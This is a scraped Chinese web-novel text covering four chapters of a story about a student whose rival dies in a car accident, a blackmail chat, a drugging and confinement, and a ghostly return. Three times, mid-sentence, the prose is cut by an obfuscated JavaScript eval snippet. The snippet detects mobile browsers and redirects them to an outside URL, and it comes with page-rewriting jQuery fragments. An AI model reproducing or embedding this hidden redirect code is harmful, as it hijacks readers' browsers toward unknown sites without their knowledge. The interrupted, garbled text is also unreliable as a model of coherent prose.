《养的纸片人竟是死对头》
1. 死对头
季不寄的死对头失踪了。
得知这个消息的时候,他正蹲在街角啃棒棒糖,淅淅沥沥的冷雨落于皮肤,透着凉意的风吹散了额前的长发。
听筒里朋友的声音仍在不停地响起:“这小子无故缺席重要会议,连主管都联系不上他,真不知道一个实习生哪来的这么大架势。”
季不寄心不在焉地发出道鼻音。
“他指定要被罚了,这你不得开瓶香槟庆祝一下?”对面那人噙着笑意问道。
他神情漠然,黑漆漆的瞳仁聚焦于眼前的某处。布满青苔的墙壁上,吸附着蜗牛、蛞蝓等软体生物,墙根儿挂着斑驳的霉斑,角落里的脏污窃窃私语。
朋友迟迟等不来预想的回应,奇怪道:“不寄?”
季不寄回过神来,含着糖轻轻“嗯”了一声。
“你吃啥呢?含含糊糊的,也不说句话,”
正值午休时间,朋友似乎是在公司食堂用餐,电话另一端的环境有些嘈杂。
手机屏幕闪了下,上方浮窗推送了最新的新闻,季不寄边看边回复道:“买了根糖。”
“大中午的你就吃这?不是不爱吃甜吗?”朋友乐呵呵地嘲了他几句,大口往嘴里塞了勺小炒肉,嚼着嚼着,后知后觉意识到他的异样:“不对,你声音不大对劲。”
转化为电波信号的话语声传去,季不寄的声线中隐含一股不易察觉的颤抖。
“我喜极而涕不行么?”
他拿开棒棒糖,嘴巴里残留着涩意,舌尖不由顶了下腮帮子。
“哈哈哈,你可真是讨厌他讨厌透了。”朋友大笑,虽不知晓他厌恶人家的理由,但季不寄作为对他来说关系更近的一方,肯定是向着的:“不过说来也奇怪,这家伙一直挺得主管青睐的,快把我们卷死了,今天却连假都没请,莫名其妙音信全无。”
“也不算是音信全无。”至少现在有消息了。
季不寄的音量不大,连同雨丝一起被糅杂进风里。
“什么?”朋友没听清他讲话,以为他是随意应了声,自顾自地继续道:“话说你最近怎么样,保研去哪?我记得你是保到日光大学了吧,这算不算双喜临门了?”
双喜临门的季不寄轻描淡写道:“湖西大学。”
朋友拖长了音调:“噢——你要保本校?也挺好。”
“没,延毕。”他的语气依旧是淡淡的,似乎不知道自己抛下了多大一个重磅炸弹。
对面那人声调立时抬高了八个度:“什么?!你延毕了?怎么回事?”
不怪他大惊小怪,季不寄的绩点常年位列系里首位,综测成绩更是优秀,他保研理应是板上钉钉的事情。怎会在这临近毕业的节骨眼上,非但没保上研还延毕了呢?
他快步放回餐盘走出食堂,移动到安静的室外,忽听清楚了季不寄那端扑簌簌的落雨声,以及微小的呼吸声。
“你现在在外边?”
季不寄先是点了点头,后反应过来他是看不见自己动作的,遂启齿道:“屋里太闷了,我出来溜溜。”
而后,他似是斟酌着,慢慢悠悠地补充道:“延毕挺好的,不用多交学费,助学贷款还能再贷一年,还钱日期也能往后推一年。”
他这话说得简直是令人眼前一黑,当下的就业环境本就不容乐观,季不寄的经济条件又格外糟糕,哪怕找再多理由,身为社畜的朋友也知道这是多影响前景的选择。
“你不会是主动要求的吧?”话刚一出口,他自己都感觉荒谬。
季不寄莫名其妙地问:“我有病?”
两人齐齐陷入沉默,雨声作为背景音持续了好一阵。季不寄的腿蹲麻了,起身时下意识扶了把滑溜溜的石墙,沾了一手苔藓孢子。
他低低骂了句脏话,单手掏兜,没摸着纸巾,便把脏东西抹在裤子上。
朋友蓦地笑了声:“那你还真看得开,不愧是我们拥有小强般生命力的不寄啊。”
他故意用搞怪的口吻将自己的名字念出来,季不寄本人都觉得好笑,只是他如今并没有像个傻子似的龇牙咧嘴笑的心情。
“不是我看得开,是因为刚刚发生了件更——”季不寄想了想怎么才能形容得恰当:“更能覆盖我情绪的事情。”
五分钟前,手机默认的浏览器弹出来一则新闻。
日光市一如既往的高效率实时速报,点开页面后,首先映入眼帘的就是一张打了码的快讯图。
地点季不寄很熟悉,在他学校对面的那所全国顶尖学府的校门口。人他也不陌生,正是自己那近四年未见、半年来针锋相对的死对头。
“小昂,时恩赐死了。”
即使是围了一圈吃瓜群众,尸体的血肉淋漓处盖了层厚厚的码,季不寄依然能认出这家伙的身份。
暗红的血迹染了一地,包里的物品散落各处,碎屏的手机浸泡在血水中,时恩赐死于一场意外车祸。
讲出这句话的实质性损害比季不寄料想的更加沉重,他几乎觉不出糖精的甜味,心绪在此刻变得狂乱起来,仿佛有无数落在身上的雨点开始沸腾躁动。
刘昂愣了下:“什么玩意?”
“你看手机。就搜‘痛心,高校门口开车撞人至1死3伤’,第一张照片就有他。”季不寄闭了闭眼睛。据新闻所写,时恩赐是为了救一个智力障碍的儿童,当下冲到马路上把小孩推走,那行车的司机没刹住车,直直把他给压了过去。
孩子倒是并无大碍。
“他……”刘昂搜到这则新闻,看完后才开口道:“没想到是这么一个见义勇为的人。”
季不寄冷笑一声,一口把硬糖咬碎:“哪来的圣母心?”
草莓香精味溢满口腔,他嘎嘣嘎嘣咀嚼着糖果,转了转脑袋去寻垃圾桶,巷子里刚好有一个。
他三两步走过去,把兜里的小票和糖纸一块丢进桶里,抬起长腿重重踹了一脚垃圾桶。
半空的桶体发出巨大响声,吓到了一旁推车路过的阿姨。女人抬头瞥了他一眼,注意到他挂满耳饰的右耳和不良打扮的穿着,忙移开视线,上车骑走了。
季不寄单眼皮的眸子不经意间扫去,下三白的瞳仁显得格外不好招惹,浑身自带一股冷冰冰的刺头气质,连屋檐下躲雨的狗都吠了几声跑离了小巷。
“不是,人家死了你还这么大怨气?”刘昂捕捉到他那边的动静,不禁愕然。
他坦然道:“我嫉妒他不行么?”
“你嫉妒他什么?”
“比我死的早。”
没再多聊,季不寄挂了电话,方才那根棒棒糖吃得他心情不好,该去买顿午饭了。
他本就不喜甜食,唯一能接受的只有浓郁苦涩的抹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780810|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茶做成的甜品。今天不知为何经过小卖铺时,阴差阳错地买了根棒棒糖。
季不寄靠在狗给他腾开的绝佳避雨处,双目放空了好一会儿,方站直身子,往食堂走。
夏雨滂沱,乌云黑沉。他忽的想起来,今天是时恩赐的生日。这个嗜甜狂魔以前每年过生日都会订个齁甜的巧克力蛋糕,那股甜腻腻的味道糊在嗓子眼,要过好久才能下去。
既然如此,头七的时候再吃一根吧。
季不寄在漫天的雨丝中扎着头往食堂赶,他没带伞,挨着雨淋,却在岔路口上顿了下脚步,拐进了另一条去食堂的远路。
时恩赐就死在他们学校西门的对面马路上,季不寄最近这两天不会路过西门口了。
雨势渐涨,他一路小跑到中心食堂。室内躲雨的人很多,每个窗口前都缀着长队,不少人一边刷着手机一边闲聊,季不寄不知道他们中有多少人正在关注校门口那件新闻。
他挑了个常买的咖喱饭窗口排队,这家以往总是门可罗雀,今日却排起了长龙。季不寄好不容易在混杂的人群中辨识清楚了要排的队伍,刚挤到一个男生后边,就听见身旁的这些人在唏嘘邻校那位天之骄子的陨落。
“我对象今早路过时目睹了全程,时恩赐死得是真惨啊,她说撞得快没人形了。”
旁边一胖男生说着,被他的朋友戳了戳:“有照片吗,发群里发群里。”
“有是有,但没打码,你们确定要看?”他嘴上迟疑,手下动作倒是挺快,指头一划便转了照片:“一会儿吃不下饭可别怪我啊。”
他的几个朋友纷纷点开照片,发出阵阵感叹。
他们自认为悄声地聊着时恩赐的事情,侧前方的两个女生也加入进来,或是赞叹他金发华丽的美貌,或是遗憾他无人能及的成就。
他们学校虽在日光市称得上名号,但和对面那所全国数一数二的大学完全不能比,更何况时恩赐还是其中的佼佼者,入学四年来从成绩到为人处世皆无可挑剔。
一般来讲,外校的一个学生哪怕是大佬也不至于在这里有这么大讨论度。不过时恩赐显然是个例外,他的高知名度来源于三个热点。除却他轰轰烈烈的死法和他本人无聊的优秀外,还有至关重要的一点——助力时恩赐“一炮而红”的万恶之源。
前段时间,由学生自发举办了一场日光市高校校草竞选,只需要填写个人信息并提交照片就可以报名,堪称学生们群魔乱舞的闹剧。
审美这种东西自是见仁见智,大家都把这当乐子看,直至日光大学计科学神时恩赐的旧时丑照被某个匿名学子上传到了网站上。
没人想到他们学院高深莫测的学神曾经是个晚上睡觉咬被子的蘑菇头小鬼,他们猜不到上传这张旧照的人的身份,只能眼见着学神的票数一骑绝尘,遥遥领先第二名数千票。
他的知名度也由此在日光市的大学圈传开,可谓是四年寒窗无人问,一照成名天下知。
这起恶作剧的始作俑者此时正漫不经心地瞧着窗口菜单,状若无意地听着周围人聊时恩赐的八卦。可他听他们口中描述的时恩赐,却和自己记忆中的那个毒舌幼稚鬼有极大出入。
不过活在他印象里的,终归是那个高中时期尚未经历失恃之痛的大少爷。
而少爷的母亲,早于四年前在众目睽睽之下被他害死了。
2. 季不寄,游戏已经开始啦
吃了顿掺和着冰碴的僵尸肉午餐,季不寄回了宿舍。入门时,舍友恰巧出门,被他冷白的死人脸吓了一跳。
“靠,你怎么不敲门?”
舍友问站在外头的季不寄,长时间的淋雨使他的额发结成一缕一缕的,苍白到近乎透明的薄唇抿成一条直线,乍一看像只从地底下掀棺爬出来的男鬼。
季不寄绷着张小脸,声线毫无波澜:“我回我自己宿舍还要敲门?”
“那你也不能在门口干站着吓人啊。”舍友嘟囔道,自知理亏但仍有怨气,腹诽着骂了几句这个不好相处的怪人,才拎着热水壶走开。
“难怪论坛上都传……”
舍友嘀嘀咕咕地离开走廊,季不寄没听全他的后半句话。他进屋后先是洗了个热水澡,换上干燥的睡衣,精神饱满了些,吹干头发,闲来无事索性早早上了床睡午觉。
就在这时,枕边的手机震了一下。季不寄分明记得自己开了勿扰模式,他重新爬起来,解锁手机去看通知栏。
【“这里是天国吗”已下载完成,点击立即游玩】
季不寄看都懒得看一眼,手指一滑,直接打算删除,他可从没下载过这个游戏,想必是误触了什么垃圾广告。
【要删除“你会后悔的!”吗】
他指尖一滞,眯了下眼睛,这游戏刚才还不叫这名字呢,不仅名称发生了改变,凭空多出个感叹号后还莫名具备了些威胁感。
季不寄来了点兴趣,径直点了“确认删除”,想看看之后有什么变化。
【您已成功删除“我还会再回来的——”】
屏幕上那个小太阳的图标消失了,他左右滑动了几次界面,没再找着它的踪迹。
说好的还会再回来呢?
季不寄撇撇嘴,把手机调回静音,无趣地躺了回去。
除却刚在校门口死的那位时恩赐,他不怎么关注外界事物,一心只沉浸于自己的世界,行事任性,固执且孤高。照现代人的话来说,季不寄就是一个活人微死的状态,活脱脱的感情淡人。
就连对时恩赐的执念,也在高考前单方面拉黑时恩赐的所有联系方式后,逐渐放下——
真的是这样吗?
实际上,长达三年半没有任何交流的两人,早于几个月前的校草竞选期间,成为了彻头彻尾的冤家。
那时,季不寄偶然发现时恩赐就在隔壁大学读书,当天带着他的丑照参与了日光市校草竞选大赛,在论坛披马甲四处给他拉票,致力于让更多学弟学妹关注时恩赐丑照。
同一日深夜,他倏被一位陌生的小号私信。
内容是:“亲爱的,你也不想让这张照片被大家看见吧?”
附件为自己扎着冲天撅在网吧彻夜打游戏的照片,画质清晰、像素极高。季不寄当即眼前一黑,羞耻心混杂着难以言喻的感情涌了上来,只觉自己的脑壳里钻入一只嗡嗡作响的蜜蜂,困于其中四处乱撞。
那是高中时期他同昔日挚友一起上网时照下的黑历史,自己真心话大冒险输了,时恩赐那个家伙竟罚他扎双马尾。他扎了一整晚,对方也乐了一整晚。
能发来这张照片的人还能是谁?账号另一头的人季不寄用脚趾头也能猜到。可欲要回复之际,他又不大敢确信了。
这家伙一直没删掉这张照片,留着它对他有什么好处?
眸光紧锁于屏幕,季不寄敲下试探性文字,按了发送键。
【匿名用户:什么?】
对面的小号发了几个小猫打滚的卖萌表情包。
【杯子蛋糕:季不寄,不许装傻。】
被时恩赐亲手扯下马甲,季不寄不由一怔。
【匿名用户:你想做什么?】
【杯子蛋糕:看不出来吗?我要拿这个威胁你~】
明明是搭配着粉嫩头像的极可爱口吻,季不寄却仿佛想象到了对面那人翘唇露出的顽劣笑意,高高在上的态度令人汗毛倒竖。
【匿名用户:我可以把你的照片删了。】
【杯子蛋糕:不需要,你不是玩得挺开心?】
季不寄陷入难捱的沉默,他敏锐地感知出屏幕那端的人正在生气。也是,分开的几年不会让恨意冲淡,反会使情绪发酵。被家破人亡的罪魁祸首恶意贴脸,时恩赐此刻该有多恨自己呢?
【匿名用户:你想让我做什么?】
【杯子蛋糕:做我随叫随到的小狗怎么样?】
季不寄隔了好一会儿才回复他。
【匿名用户:可是我不想见你。】
他不知道自己身为被威胁的一方还有什么提要求的资格,但和时恩赐聊天时下意识把这条消息发了出去。
季不寄以为对面那人会发怒,可他等来的回复意外地善解人意。
【杯子蛋糕:好可惜,不过我也不想要一只乱咬人的狗狗。】
【杯子蛋糕:配合我做一个问卷调查就放过你,每天晚上七点半必须回答我一个问题,如果有事必须提前请假,记住,时间要分毫不差哦。】
他连用了两个“必须”,可严格的命令下,交给季不寄的任务内容却不明就里。
【匿名用户:什么问题?】
【杯子蛋糕:七点半。】
发完这句,他的头像便变成灰色的下线状态了。
季不寄心神不宁地坐在电脑前写论文,耗到了七点二十九分,方关掉只新增了几十字的文档,重新点开了两人的聊天框。
半点一到,时恩赐的问题准时发来。然而他逐字读去,却有些摸不着头脑。
【杯子蛋糕:太阳还是月亮?】
季不寄定定地盯着这个问题,脑中闪过万千种想法。他是在做心理课程的社会调查,还是言语认知能力测试?亦或者是单纯抱有想玩弄自己的心态?
压下心底源源不断冒出的困惑,他给出了对方回答。
【匿名用户:太阳。】
【杯子蛋糕:为什么?】
季不寄心想,我还想问你为什么呢。
【匿名用户:这是第二个问题。】
【杯子蛋糕:好吧,你还是一如既往的严谨。】
他无视对方弹出来的猫咪委屈表情包,问出心里的疑惑。
【匿名用户:为什么问这个?】
【杯子蛋糕:提问驳回,你只被允许回答我的问题~】
季不寄合理怀疑他是在报复自己刚刚的行为。
论坛的网页卡了一下,他一不小心就掉了线。这个校园论坛客流量大,时常出些大大小小的问题,学生们多数会选择同想要交流的人交换其他联系方式,网页只是个吃瓜摸鱼、充当学生沟通桥梁的媒介。
不过两人聊天的这段日子里,季不寄从未提出过同他交换别的社交账号,时恩赐也没有。
问卷调查持续的时间比季不寄设想的要久,自三月中旬至六月底,足足过了三个多月,时恩赐问了自己近一百个无厘头的问题,还时常在提问题之余拐弯抹角地嘲他。
——
季不寄的这一觉睡到了傍晚,窗外暮色沉沉,他睡得昏天黑地,脑门出了层薄汗,伸手抓来枕边的手机,瞥了眼时间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780811|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
刚好七点半。
这都形成生物钟了,训狗呢?他自嘲地想着,下床去写上次去的那家福利院的活动总结报告。他高中虽是理科生,如今却就读于相对理科生来说偏冷门的社会工作专业,光是实习时长就有高达500小时的毕业要求。
季不寄忙到深夜,感觉眼睛有些干涩,起身活动了一下,拉上宿舍的窗帘。夏季的雨一向喜欢下得断断续续,雨声再度响起,玻璃上丝缕的水迹化成滂沱雨幕。
他报了一项学院组织的实践活动,明早要六点起床赶往老城区,今晚不得不早点睡觉。
洗漱完回来,舍友仍在情绪高亢地对着刀光剑影的屏幕奋战,丝毫没有身为毕业生的紧迫感,倒也符合隔壁名牌大学对湖西学生的刻板印象。
季不寄躺到床上,闭眼放空,激烈的敲击音同拍打窗户的雨声合奏出交响乐。他心绪不平,难得失眠了。
“能不能声音小点?”他对床下激战的舍友道。
舍友视线未移开屏幕,阴阳怪气道:“原来你晚上还会睡觉吗?我以为你都用来卖了。”
季不寄冷声道:“讲话注意点分寸,这里是宿舍,不是你用来排泄的地方。”
“操!你他妈说什么?”舍友火冒三丈,重重摔下手柄,像只气急的猴子似的走到季不寄床下。
“你耳朵不好使?”他平静地问。
他从床上坐起,居高临下地睨着对方,从空间位置上率先占据了优势。舍友攥拳,愤愤踢了一脚他的凳子,咬牙切齿道:“老子就玩,关你屁事。”
于是,季不寄就喜提一个丰富多彩的前半夜。
他在舍友噼里啪啦的按键声中辗转反侧,在心里劝诫自己要与人为善,刚挂完科不能再吃个处分。直至凌晨一两点,舍友才撂下手柄,爬上床呼呼大睡。
室内陡然安静下来,季不寄终于有了睡意,沉沉睡去。
后半夜,季不寄隐约感觉身上有些沉重,仿佛被什么无形的东西压迫着,难以呼吸。
在半睡半醒间,他的眼睛睁开一条小缝,模模糊糊地瞥见有道身影正跪坐在自己腰腹上。月光流淌于其指尖,那人的双手轻轻碰上了他的脖颈,莹莹冰冷。
只是一刹那,他便认出了那人的身份。
“时……”
时恩赐没有说话,莞尔一笑,灿金色的碎发倾落下来,仿若在夜里洒下一片阳光,明净而澄澈。
窗外雨已停歇,时不时发出些许沿屋檐滴落的雨水残响。宛如一滴水坠入眸底,季不寄漆黑如深池的瞳孔再度泛起波纹。
目光落在对方的脸上,斑驳的月影将他绝美的容貌表现得淋漓尽致,季不寄停顿了两秒,又移向那头华丽的金发。
他盯着对方的脑袋顶道:“时恩赐,人死不能复生,不管我们之前有什么——”
话语卡在半截,季不寄忽的失了声。时恩赐的指腹用力按着自己的脖颈,触感冰冷,很快令他喘不上来气,眼尾染上绯红。
在季不寄竭力撷取空气的喘息声中,时恩赐乍然凑近了他,唇瓣轻启,耳语道:“我们之前有什么?”
他的声线娓娓动听,透出一丝明显的愉悦。
似是道出这一疑问,他才意识到季不寄已在他身下被掐得说不出话,松开双手,放过了眸光湿润的青年。
季不寄气息紊乱,大力喘着气,听到他吐出一句轻松的话语。
“季不寄,游戏已经开始啦。”
他眉眼弯弯地笑着,模样说不出的漂亮,却混杂着浓郁的鬼气,令人浑身战栗。
3. 圣母时恩赐
一觉醒来,便来到了第二天,季不寄脑仁阵痛,对昨夜做的噩梦心有余悸。
舍友被他的动静吵醒,不快道:“你他妈昨晚梦见什么了?说了一宿梦话。”
季不寄没理会他,那梦里的事情他自己都不想回忆。怎么会有人梦见被死去的死对头差点掐死?这不是平白无故给自己的生活找不痛快么?
他下床收拾好东西,快速洗漱完毕,瞥见舍友也下了床,正在摆弄自己桌上的游戏手柄,嘴里念念有词:“奇怪,怎么按键失灵了?难道我昨晚摔坏了?”
舍友扭头,瞧见季不寄从洗手间出来,质问道:“季不寄,是不是你故意给我搞坏了?”
季不寄本就没好气,被他这么一问,冷淡道:“你睡得比我晚,又和我同一时间下床,怎么就成我弄坏的了?”
“谁知道你昨晚有没有下来搞鬼?”舍友恼火道:“像你这种心思不正的人,不就爱在背后玩阴招?”
他开始细数季不寄在论坛上的罪名,那些帖子有骂他染上性病不知检点的,胡编乱造他过往情史让女孩未婚先孕的,更有甚者猜测他以身贿赂教授取得高绩点。
季不寄面色平静无波,在他的骂骂咧咧中走出房门,耳根子清净了许多。
下了楼,早晨绵密的细雨扑面而来,凉意唤回了几分清醒。他打了个哈欠,赶上了去往旧城区的班车。
他们这次组织实践的地点定于一家福利院,报名的基本是社工专业的学生们,大都为了加综测分而来。
他所在的校区距离那边有相当一段距离,车程大概一个多小时,季不寄摸出手机,戳开了论坛。
首页推送的前几个帖子都在聊死在校门口的时恩赐,再向后滑去,自己和时恩赐的名字几乎占据了界面的半壁江山。只不过时恩赐相关的帖子皆为赞颂与惋惜,而季不寄则背负了千古骂名。
直至昨日时恩赐车祸事件冲上论坛热榜,处于风头浪尖的角色原本只有季不寄一人。
他刷过几条有关自己流言蜚语的帖子,忽注意到界面右下角的私信图标处竟是有个红点,季不寄眉睫一颤,点开小窗。
【杯子蛋糕:蠢死了,笨蛋季不寄。】
他神情微动,下意识在脑袋里构思好回怼时恩赐的话,刚想发出去,蓦然想起这人已经死了。
接受一个人的死亡是需要慢慢去习惯的,哪怕他和这家伙的关系并不融洽。
他瞥见时恩赐发消息的时间——前夜凌晨一点。
时间在他出事故之前。
季不寄大抵能猜到他为什么骂自己,因为前晚他的绯闻还在校园论坛上炒得沸沸扬扬,瓜条被做成长达百兆的pdf文件,图文并茂、文字激昂。
时恩赐一定是刷到了吧,也不知晓他看了多少,那些瓜条编造得如此逼真,连他本人看了都不禁怀疑起是不是真的发生过这么一段故事,只是自己的记忆惨遭阉割。
若未发生过那件事,他还在按照原本的规划继续自己的大四生活。
一个多月前,他答应了同系一位男生的告白。
林入寒性情温和,为人彬彬有礼,时常戴着一副颇具书生气息的无框眼镜,是他们学院有名的公子哥。
他同这样的人并无过多交集,可就在临近毕业的节骨眼上,他突然对自己表白了。
季不寄是个我行我素的特异分子,被旺盛的好奇心覆盖,极想知道这位优质帅哥打的是什么算盘,当即同意了他的求偶。
而他也不会想到,自己竟在最后一门选修课考试前,被这个家伙迷晕囚禁。
再次恢复意识是在陌生房间的床上。
雪白的天花板、从未见过的吊灯,季不寄躺在蓬松的被褥里,根据肚子的饥饿程度判断出现在已经过七点半了。
灾害与社会考试于半个小时前结束,他超然物外地嗤笑一声,这玩意还真是他的灾害。
他从床上起身,四肢仍残留着疲软之感,不难推断出林入寒是给自己下药了。至于动机,他却始终搞不明白,林入寒是系里第二名没错,可若是为了争系里那唯一一个保研名额,林入寒如今下手也已经晚了,各大高校的录取时间早在去年截止,名额只能作废。
他整这一出是图什么呢?单纯看自己不顺眼?
房间里没有其他人,房门被反锁,季不寄反复扭动了几次门把手,无济于事只得放弃。为了让他睡得更加香甜,林入寒还好心地帮他拉上了窗帘。
他移步窗前,一把扯开帘子,室外的天空早已染上深邃的蓝紫色,远处浮了几颗暗星,今夜的月亮似生铁般冷且白。
面对突如其来的不幸,季不寄情绪自始至终平静无波,说体面点是内核稳定,说难听点,他这叫心死如灰。
他摸了摸兜,手机不见了,估计是被林入寒搜走了。绕着不大的房间转了一圈,视线依次滑过衣柜、木门、书架和床头柜,他最终驻足于窗边,向下眺去。
这里位于三楼,层高就是普通居民楼的高度,一两米处有颗茂密的白杨树。
掌心用力推了下,窗子丝滑地打开了。
季不寄暗忖,这简直是天时地利人和,不跳窗说不过去了。他扯下床单被罩,用水浸湿以增加承重,随后将这些布料打结绑在一起,拧成一条粗壮的绳子。
固定好后,他看准着陆点,滑溜溜地就下去了。简易绳索的长度不足以垂到地面,季不寄按预想方向攀到了杨树上,费了点功夫,过程有惊无险地稳落于树杈。
街边的空气弥漫着股夏夜独有的闷热,一阵风拂过树叶,带来附近大排档的烤串和啤酒气味。他吸吸鼻子,思量着报完警后去哪整点儿夜宵,四肢灵活地在较粗的树枝上稳住重心。
底下是一块厚草地,直接跳下去也不至于残废。但以防万一,季不寄还是用双手勾住树杈,双腿缓缓自树上垂了下来,尽可能减小脚底与地面的距离。
恰逢其时,耳畔传来窸窸窣窣的脚步声。似乎有人经过,街灯投下路人瘦长的阴影,他此时的姿势不便往下看,但想来那路人是不可能傻乎乎地杵在底下挨砸的,遂干脆利落地松手落了下去。
反作用力到达得出乎预料,季不寄没有落到草坪上,而是扑通一下砸到了一个人身上。
甜甜的奶油与巧克力气息包裹在周围,垫在自己身下的人呼吸上下起伏着,他半撑起手臂,侧头之际,黑沉沉的瞳孔对上了那人浅若琉璃的柳叶眸。
昏黄的路灯下,对方华丽的金发于光影中似是闪烁着,披散在湿凉的草坪上,狼尾扫过他莹白如玉的纤长脖颈,五官精致得无可挑剔。
一如高中时期那样,时恩赐的眸光透亮,整个人仿佛萦绕月光,饰演着青春期少女们白马王子的形象。
这是他们两个人时隔四年后的首次线下重逢。
季不寄躲了他这么些年,两人对视的一刹,无数难以言喻的东西在空间流淌,耳边的蝉鸣蛙叫、远方的车水马龙都冻结了。
相遇来得猝不及防,他嘴边的话卡壳,甚至忘了从时恩赐的身上先下去。
对方乍然禁锢住了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780812|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的手腕,虎口紧紧贴住了他的皮肤,由力度不难看出他对自己溢于言表的厌恶。
季不寄不动声色地扯开他的手,起身时一个不留神踢倒了旁边草坪上的甜品袋。
周匝飘荡的甜味更浓郁了,大少爷站起来,拍拍身上并不存在的脏污,莞尔一笑,吐出句不太友善的话。
“我还以为是有条蛆从树上掉下来了。”
两人拉开些距离,季不寄才发现时恩赐长高了许多,明明高中时还是个爱玩少女游戏的撒娇精,如今却比他高了快半头。
四年的时光足以让人发生彻头彻尾的变化。时恩赐的妹妹头剪短了,染成时尚的金色,眉梢眼角尽是捉弄不透的笑意,不再像以前那般单纯易懂。
也是,该成熟了。到底是经历了家破人亡,丧母之痛。
一切皆拜他所赐。
“吃这么多小心长蛀牙。”尽管错在自己,季不寄口头上不落下风:“多少钱?我赔你。”
草坪上时恩赐买好的甜品被他横空一脚踢翻了,食物趴倒在包装盒里,卖相上丑了些,倒是不影响食用。不过想必时恩赐是不会再吃了。
“不用你赔。”
时恩赐的浅眸一眨不眨,直勾勾地望着他,嘴角弯了弯:“罚你把垃圾带走。”
季不寄默不作声地点了点头,弯腰拎起纸袋便往随便一个方向走,他还没想到去哪,甚至没搞明白自己被林入寒带到什么鬼地方了,时恩赐又是怎样做到被树上的不明掉落物精准命中的。
只是,他当下多了一件比报警优先级更高的事情——远离时恩赐。
这家伙以前就总是不计后果肆意妄为,这会儿忽然捅他一刀也不是不可能。
季不寄一时后悔起自己当初脑门一热做出的招惹,真是给自己留了天大的把柄,如今再落入虎口可就生死未卜了。
警惕着背后的人暴起,他佯装淡定地沿花坛走,还未挪出五米的距离,旋即被人叫住:“我让你走了?”
季不寄脚步一顿,动作僵硬但表情自然地回过头去:“我还是再给你买一份吧。”
他大睡一场后的眼窝略微泛红,衣服皱巴巴的,脖子上还残存着一道红痕,那是被林入寒搬动时留下的。
时恩赐打量着他,不知持续了多久,倏溢出一声哼笑。
与他糟糕的外表相比,季不寄说话时的神态可就没那么招人可怜了。
“砸到你了我很抱歉。”他的黑瞳沉寂,语气毫无起伏,态度比起认错更像是挑衅:“你到底要不要?”
“不,我可不想剥削穷人。”
季不寄瞥见那人眼底闪过一丝无法理解的情绪,似是压抑着什么一般,他在一瞬间误解成了偏执与疯狂。
看错了,这大抵是恨意。
多么善良的圣母心肠,时恩赐这种时候还在极力压制自己报仇雪恨的欲念。
“算了,你回去吧。”
圣母摆摆手,赦免了他。
他走出时恩赐的视线范围,听到了自己饥饿的肠鸣声,骨气全无地将手伸进了甜品纸袋。里边有两块抹茶司康,还有个他叫不出来名字的黑巧蛋糕,盒子扁了些,万幸没有漏出来。
他蹲在路边吃了几口,味道轻盈,并无甜腻感。他提溜起袋子,想看眼店名,忽察觉里边还有个坚硬的物品。
借着路灯昏黄的光,他看清了袋底的东西。
是他丢的手机。
很久之后季不寄才知晓,他以为的不期而遇,实则是对方筹备多年的步步为营。
4. 是否点击游玩?
那日被林入寒下药后,他第一时间去派出所报了警。警察最初还认真听着,作了笔录,但在他提到犯罪者是那位林家的大公子时,对方的笔乍然一停,而后的流程走得极其草率,结果也不了了之。
反倒是他被人倒打一耙,莫须有的罪名搁网上传得沸沸扬扬的,名誉扫地前景灰暗。
无所谓,横竖他本就不是什么好东西。
真正的好人已经归西了。
——
这所儿童福利院是近几年新开办的民办机构,院内的孩子不多,约莫有几十来个,大多数是有先天性缺陷,生活难以自理的孩子。
机构设于旧城区的一隅,正朝大门的是一栋低矮的平房,攀有大片爬山虎的墙面斑驳不堪,建筑物已然有了年深日久的老旧感。
季不寄记得很清楚,几年前这里还是一座废弃工厂。不知被什么人买下,改造成了福利院。
见他们来了,一位上了年纪的中年女人上前跟他们打了声招呼,引几人进了院内。
铁门被推开一道大口子,滚轮拖拖拉拉地划出沟壑,这里仍旧是黄土地,昨夜下了场豪雨后变成了泥土地。院子里没有小孩,似乎是还未到室外活动的时间。
兜里的手机在这时震了一下。
他明明开勿扰模式了。
季不寄并没有即刻查看手机,他的手伸进兜里,将锁屏键长按了数秒,径直关了机。
女人交代了下他们需要做的事情,都是些简单轻松的活计,显然是没指望这群大学生能派上什么用场。
一男生靠在墙角打起了瞌睡,另一个他的同伴正埋头刷手机,两个女生叽叽喳喳地聊着天,他们都压根没听进去保育员的话。直至女人走后,其中一女生方扭头问旁边的季不寄:“她刚才说啥了?”
季不寄抬起鸭舌帽,帽檐底下的细眸觑了她一眼,平静道:“她说等孩子们吃完饭,八点去陪他们做游戏。”
女生撞见他的脸,不由一愣,这不是她们学院大名鼎鼎、臭名昭著的季不寄本尊吗?
